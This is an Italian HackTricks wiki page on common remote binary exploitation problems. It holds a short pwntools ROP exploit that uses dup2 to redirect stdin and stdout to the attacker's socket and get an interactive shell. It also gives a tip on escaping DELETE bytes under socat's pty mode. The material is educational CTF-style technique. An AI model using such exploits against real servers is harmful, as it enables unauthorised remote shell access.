hacktricks/binary-exploitation/common-exploiting-problems.md

3.8 KiB

Problemi Comuni di Sfruttamento

{% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

FDs nell'Exploitation Remota

Quando si invia un exploit a un server remoto che chiama system('/bin/sh') per esempio, questo verrà eseguito nel processo del server, e /bin/sh si aspetterà input da stdin (FD: 0) e stamperà l'output in stdout e stderr (FDs 1 e 2). Quindi l'attaccante non sarà in grado di interagire con la shell.

Un modo per risolvere questo è supporre che quando il server è stato avviato ha creato il FD numero 3 (per ascoltare) e che poi, la tua connessione sarà nel FD numero 4. Pertanto, è possibile utilizzare la syscall dup2 per duplicare lo stdin (FD 0) e lo stdout (FD 1) nel FD 4 (quello della connessione dell'attaccante) in modo da rendere possibile contattare la shell una volta eseguita.

Esempio di exploit da qui:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Nota che socat trasferisce già stdin e stdout al socket. Tuttavia, la modalità pty include i caratteri DELETE. Quindi, se invii un \x7f ( DELETE -) eliminerà il carattere precedente del tuo exploit.

Per bypassare questo, il carattere di escape \x16 deve essere preceduto a qualsiasi \x7f inviato.

Qui puoi trovare un esempio di questo comportamento.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}